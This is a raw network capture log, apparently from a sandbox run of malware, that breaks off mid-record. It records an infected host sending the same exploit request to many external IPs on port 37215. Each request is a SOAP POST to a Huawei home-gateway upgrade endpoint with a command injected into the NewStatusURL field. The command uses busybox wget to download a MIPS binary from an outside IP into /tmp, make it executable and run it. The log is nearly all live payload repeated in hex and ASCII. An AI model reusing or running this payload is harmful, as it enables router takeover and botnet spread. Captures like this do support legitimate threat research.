Jun 10, 2024 15:38:03.407413006 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.13	39860	156.100.3.211	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.409434080 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.13	52774	156.129.80.194	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.411464930 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.13	48978	41.224.161.23	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.412775993 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.13	40392	156.244.147.181	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.414189100 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.13	42274	41.98.1.157	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.415961027 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.13	45810	156.161.141.90	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.417367935 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.13	53224	41.59.211.222	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.419106007 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.13	52834	197.26.173.69	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.420569897 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.13	34494	156.106.1.134	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.422615051 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.13	55272	197.12.144.37	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.424223900 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 